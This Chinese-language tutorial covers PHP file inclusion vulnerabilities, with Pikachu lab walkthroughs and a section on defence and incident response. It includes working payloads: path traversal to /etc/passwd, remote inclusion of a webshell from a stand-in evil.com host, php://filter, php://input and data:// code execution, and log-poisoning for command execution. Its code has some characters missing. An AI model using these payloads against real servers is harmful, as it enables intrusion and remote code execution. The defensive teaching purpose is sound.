公司动态

PHP文件包含漏洞:从原理到防御的完整实战指南

📅 2026/8/7 2:39:56
PHP文件包含漏洞:从原理到防御的完整实战指南
1. 项目概述为什么文件包含漏洞是PHP安全的重灾区如果你接触过PHP安全或者玩过像Pikachu这样的Web渗透测试靶场那么“文件包含漏洞”这个词你一定不陌生。它不像SQL注入那样直接窃取数据也不像XSS那样直观地弹个窗但它的危害性往往更大因为它能直接让攻击者执行任意代码甚至拿到服务器的控制权。我处理过不少应急响应案例很多服务器被“黑”的入口就是一个不起眼的文件包含参数。这个漏洞的原理并不复杂但正因为其利用条件相对宽松且常与开发人员的配置疏忽紧密相关使它成为攻击者最青睐的武器之一。简单来说PHP文件包含漏洞的核心就是程序在引入外部文件时没有对用户输入的文件路径进行严格的过滤和校验。攻击者通过操控这个路径参数可以让服务器去包含并执行一个本不该被执行的恶意文件。从Pikachu靶场里那些设计好的、安全的实验环境到真实世界中那些配置各异的线上服务器理解这个漏洞的成因、利用手法以及防御策略是每一位PHP开发者、运维人员和安全从业者的必修课。今天我就结合靶场实战和真实环境中的经验带你彻底拆解这个漏洞并分享一套从代码到配置的立体防御思路。2. 漏洞原理深度拆解include/require 背后的风险要防御必须先透彻理解攻击是如何发生的。PHP中用于文件包含的函数主要有四个include、include_once、require、require_once。它们的区别在于处理错误的方式require在失败时会产生致命错误并停止脚本include只会产生警告以及是否重复包含。但就漏洞而言它们面临的风险是完全一致的。2.1 动态包含的“便利”与“陷阱”漏洞产生的典型场景是动态文件包含。开发者为了代码的复用和模块化常常会写出这样的代码?php $page $_GET[page]; // 例如用户传入 ?pageabout.php include(/pages/ . $page); ?这段代码的初衷很好根据用户请求动态加载不同的页面内容比如“关于我们”、“联系我们”。在Pikachu靶场的文件包含关卡里你看到的正是这种模式。问题在于$_GET[‘page’]这个变量完全由用户控制。攻击者传入的可能就不是about.php了。2.2 两种包含类型本地与远程文件包含漏洞主要分为两类理解它们的区别对后续的利用和防御至关重要。本地文件包含攻击者通过漏洞让服务器包含并执行本地文件系统上的一个文件。这个文件不一定是.php后缀。例如攻击者可以尝试包含系统的密码文件?page../../../../etc/passwd。这里使用了目录遍历符../来跳转目录。更危险的是如果服务器配置允许比如allow_url_include关闭但其他条件满足攻击者还可以包含诸如/proc/self/environ环境变量、/var/log/apache2/access.log访问日志等文件并通过对这些文件注入PHP代码来最终实现代码执行。远程文件包含这是杀伤力更大的一种。当PHP配置中的allow_url_fopen和allow_url_include选项均为On时include等函数可以包含远程服务器上的文件。攻击者可以构造一个URL?pagehttp://evil.com/shell.txt。这个shell.txt文件的内容是一段PHP代码如?php system($_GET[‘cmd’]);?。当服务器包含这个URL时就会下载并执行其中的PHP代码相当于攻击者直接将自己的木马传到了目标服务器上执行。注意在真实环境中由于安全意识的提升allow_url_include默认通常是Off的因此RFI的利用条件比LFI更苛刻。但绝不能因此放松警惕因为通过LFI配合其他技巧如日志注入、文件上传同样能达到远程代码执行的效果。2.3 漏洞利用的关键“助手”封装协议PHP强大的文件系统封装协议在提供便利的同时也成了文件包含漏洞的“倍增器”。即使不能远程包含攻击者也可以利用这些协议进行各种敏感操作。php://filter这是最常用的读取文件内容的协议。它可以在包含文件前先对文件流进行编码处理。例如?pagephp://filter/readconvert.base64-encode/resourceindex.php。这行代码会让服务器以Base64编码的形式读取index.php的源码并输出。因为include会执行PHP代码但通过filter编码后代码被转换成文本从而避免了执行实现了源码泄露。这在Pikachu靶场和CTF比赛中非常常见。php://input这个协议允许你访问请求的原始数据流。当allow_url_include开启时攻击者可以这样利用?pagephp://input并在POST body中直接写入PHP代码?php system(‘whoami’);?。服务器会将这些数据作为文件内容包含并执行。data://类似地data协议可以嵌入数据。例如?pagedata://text/plain,?php phpinfo();?或?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8Base64编码的phpinfo。这相当于在参数里直接内置了一个可执行文件。zip://,phar://这些协议可以用于包含压缩包内的文件。如果网站有上传功能攻击者可能上传一个包含恶意PHP脚本的ZIP文件然后通过?pagezip:///path/to/upload.zip%23shell.php来包含执行其中的脚本。%23是#的URL编码用于指定压缩包内的文件。理解这些协议你就明白了为什么一个简单的文件包含参数能衍生出如此多的攻击路径。在Pikachu靶场中这些利用方式大多有对应的关卡帮助你逐一体验。3. 从靶场到实战Pikachu关卡深度复盘与技巧延伸Pikachu靶场提供了一个绝佳的无风险实验环境。我们不仅仅要“通关”更要理解每一关背后模拟的真实场景和可以延伸的技巧。3.1 关卡一基础本地文件包含靶场场景通常是一个简单的include($filename)并且$filename直接来自$_GET。通关操作利用../进行目录遍历读取../../../../etc/passwd等敏感文件。实战延伸与思考绝对路径 vs 相对路径在真实漏洞利用中你需要判断包含使用的是相对路径还是绝对路径。如果是绝对路径如include(‘/var/www/html/’ . $file)单纯的../可能无法跳出根目录。这时需要结合其他信息泄露如错误信息来猜测绝对路径。文件后缀限制有些代码会为传入的参数自动添加后缀如include($file . ‘.php’)。这时直接包含非.php文件会失败。绕过方法之一是使用%00空字节截断但这在PHP版本 5.3.4 且magic_quotes_gpcoff时才可能生效现代PHP环境已基本失效。更通用的方法是利用前面提到的封装协议或者寻找不需要后缀也能被解析的文件如配合文件上传。利用日志文件这是一个经典的LFI到RCE的转换技巧。如果Apache/Nginx的访问日志可读如/var/log/apache2/access.log攻击者可以在User-Agent或请求路径中插入PHP代码例如访问?php system($_GET[‘c’]);?。然后通过LFI包含这个日志文件?page../../../../var/log/apache2/access.logcid服务器在包含日志文件时会将其中的PHP代码解析执行从而在参数c中传入系统命令。3.2 关卡二远程文件包含靶场场景配置中allow_url_include被开启。通关操作直接在参数中传入一个远程URL指向托管在公网上的文本文件内容为PHP木马。实战延伸与思考现代环境中的RFI由于安全原因allow_url_include在php.ini中默认是Off的。在真实漏洞挖掘中遇到RFI的机会较小但一旦发现就是高危。检查目标phpinfo()信息是第一步。绕过URL检测有些防御代码会检查参数是否以http://开头。绕过方式包括使用http://双写、http://利用浏览器特性或重定向、或者使用data://、php://input等协议它们同样能达到远程代码执行的效果但可能不被简单的字符串匹配规则拦截。3.3 关卡三利用封装协议靶场场景展示了php://filter读取源码和php://input执行代码。通关操作php://filter读取网站配置文件、数据库连接文件等获取敏感信息。php://input在POST body中直接写入代码。实战延伸与思考filter协议的多重编码除了convert.base64-encode还可以使用convert.iconv.*进行字符集转换有时能绕过一些简单的过滤。例如convert.iconv.UTF-8.UTF-16LE可以将文件内容以另一种编码形式输出。input协议的利用条件allow_url_includeOn是必要条件。在php://input中提交的代码不需要?php ?标签闭合因为整个POST body都会被当作代码执行。这常用于无文件Webshell的构造。data协议与长度限制data://协议通常有长度限制不适合传递很长的代码。可以用于执行简单的命令或者用于包含一个更短的、用于下载远程大马的初始化脚本。3.4 从靶场到真实漏洞挖掘的思维转变在靶场里漏洞点很明显。在真实网站中你需要寻找包含点搜索代码中的include,require,include_once,require_once关注它们的参数是否用户可控。参数可能来自$_GET,$_POST,$_COOKIE,$_SERVER中的某些字段如HTTP_REFERER,HTTP_USER_AGENT。判断过滤机制尝试输入../../etc/passwd观察是返回了文件内容、报错、还是被重定向/拦截。报错信息可能泄露路径。尝试协议利用直接测试php://filter/resourceindex.php看是否能读到源码。测试data://text/plain,?php echo ‘test’;?看是否有回显。结合其他功能点单独的文件包含可能受限但如果网站存在文件上传功能你可以上传一个图片马图片内容包含PHP代码然后通过LFI包含这个图片文件如果服务器配置不当如未重置Content-Type或存在解析漏洞就可能执行代码。4. 立体化防御策略从代码编写到服务器配置防御文件包含漏洞绝不能只靠一招一式需要一个从内到外的立体化方案。4.1 代码层防御治本之策这是最核心、最有效的防御层。1. 白名单机制绝对不要使用黑名单过滤../、http://等字符绕过方法太多。应该采用白名单。?php $allowed_pages [home.php, about.php, contact.php]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./pages/ . $page); } else { include(./pages/404.php); // 或直接 die(‘Invalid page request’); } ?如果业务逻辑必须动态也应将映射关系存储在数组或数据库中通过数字ID或安全的键名来查找对应文件而非直接使用用户输入作为路径。2. 固定目录前缀避免目录穿越在包含前将用户输入限制在某个安全目录下。?php $base_dir /var/www/html/includes/; $file $_GET[module]; $full_path $base_dir . $file; // 关键检查确保最终路径仍在安全目录内 if (strpos(realpath($full_path), $base_dir) 0) { include($full_path); } else { die(Access denied.); } ?这里使用realpath()解析出规范化的绝对路径再检查其是否以$base_dir开头。注意realpath()在文件不存在时会返回false。3. 避免动态包含使用路由或映射这是现代框架如Laravel, ThinkPHP的做法。用户访问/about由路由解析为AboutController的某个方法完全剥离了“文件包含”这个概念。自己写项目时也应尽量采用这种模式。4.2 配置层防御加固环境即使代码有瑕疵严格的服务器配置也能构成第二道防线。1. PHP配置php.ini这是防御的重中之重务必在线上环境进行如下设置allow_url_fopen Off禁止打开远程文件。这会影响fopen()等函数能阻断一部分RFI。allow_url_include Off必须关闭。这是阻止include(‘http://...’)和php://input、data://协议用于包含的关键设置。在PHP 5.2之后此选项默认关闭但一定要确认。open_basedir /var/www/html/将PHP可操作的文件系统限制在网站根目录下。即使包含漏洞存在攻击者也无法跳出这个目录去读取/etc/passwd等系统文件。注意open_basedir不是万能的它自身也有一些绕过方法且可能影响某些扩展的正常工作需结合其他措施使用。disable_functions exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,dl, ...在php.ini中禁用危险函数。即使攻击者通过包含漏洞写入了Webshell也无法执行系统命令极大降低了危害。这是生产环境的标准做法。2. Web服务器配置权限最小化运行PHP-FPM或Apache进程的用户如www-data,nginx应该是一个低权限用户只拥有对网站根目录的必要读写权限绝不能是root。日志文件权限确保Web服务器日志文件如access.log对PHP进程是只读的防止攻击者通过LFI写入日志来注入代码。目录访问限制在Nginx/Apache配置中对上传目录、临时目录等设置规则禁止执行PHP脚本。# Nginx 示例禁止上传目录执行PHP location ~* ^/uploads/.*\.(php|php5|phtml)$ { deny all; }4.3 运维与安全层防御持续监控1. 定期安全扫描与代码审计使用静态代码分析工具如phpcs配合安全规则、RIPS、SonarQube扫描项目代码自动发现可能存在漏洞的include/require语句。同时养成代码审查的习惯。2. 部署Web应用防火墙在服务器前端部署WAF如ModSecurity, 云WAF可以识别并拦截常见的文件包含攻击payload如../,php://,etc/passwd等。WAF可以作为一道有效的缓冲但不应作为唯一依赖。3. 监控与告警对服务器的文件系统进行监控关注在非上传目录、非缓存目录下突然出现的可疑.php、.phtml、.txt文件。监控Web访问日志寻找包含异常参数长字符串、大量../、封装协议特征的请求并设置告警。5. 真实环境下的漏洞排查与应急响应当怀疑或确认存在文件包含漏洞时应该怎么做5.1 漏洞排查 Checklist代码回溯立即全局搜索源代码中的include,require,include_once,require_once。重点检查其参数是否为$_GET,$_POST,$_COOKIE,$_SERVER[‘HTTP_*’]等用户可控变量。配置检查登录服务器查看php.ini中allow_url_include和allow_url_fopen的设置。检查open_basedir是否配置且范围合理。查看disable_functions列表是否完备。日志分析仔细检查Web访问日志access.log和错误日志error.log围绕漏洞发现时间点寻找异常的请求路径和参数。攻击者进行目录遍历或协议利用时会在日志中留下明显痕迹。文件系统检查使用find命令或安全扫描工具检查网站目录及临时目录下是否有新增的、可疑的、非项目原有的文件特别是可执行脚本文件。find /var/www/html -name “*.php” -mtime -1 # 查找一天内修改过的php文件 find /var/www/html -type f -name “*.jpg” -exec grep -l “?php” {} \; # 在jpg文件中搜索php标签5.2 应急响应步骤隔离如果可能立即将受影响的服务器或应用从网络中断开防止进一步渗透和数据泄露。清除后门根据排查结果删除攻击者上传的Webshell或恶意文件。注意不要只删除一个攻击者通常会上传多个备用后门。修复漏洞根据漏洞成因采用上述“代码层防御”策略修改源代码。如果是第三方组件漏洞立即升级到安全版本。加固配置复查并加固服务器和PHP配置确保allow_url_includeOff设置open_basedir更新disable_functions。恢复与验证在修复并加固后将服务恢复。进行全面的功能测试和安全扫描确保漏洞已被彻底修复且未引入新问题。复盘与记录记录整个事件的时间线、攻击手法、影响范围和修复过程。更新安全开发规范对团队进行培训避免同类问题再次发生。文件包含漏洞是一个经典的“小漏洞大危害”的案例。它在Pikachu靶场里看起来人畜无害但在真实环境中往往是与文件上传、日志注入、配置不当等问题结合形成致命的攻击链。防御它没有银弹需要开发者、运维和安全人员共同协作在代码编写、服务器配置和日常监控三个层面建立起纵深防御体系。理解原理善用靶场练习并时刻将安全思维融入开发运维的每一个环节才是应对这类漏洞的根本之道。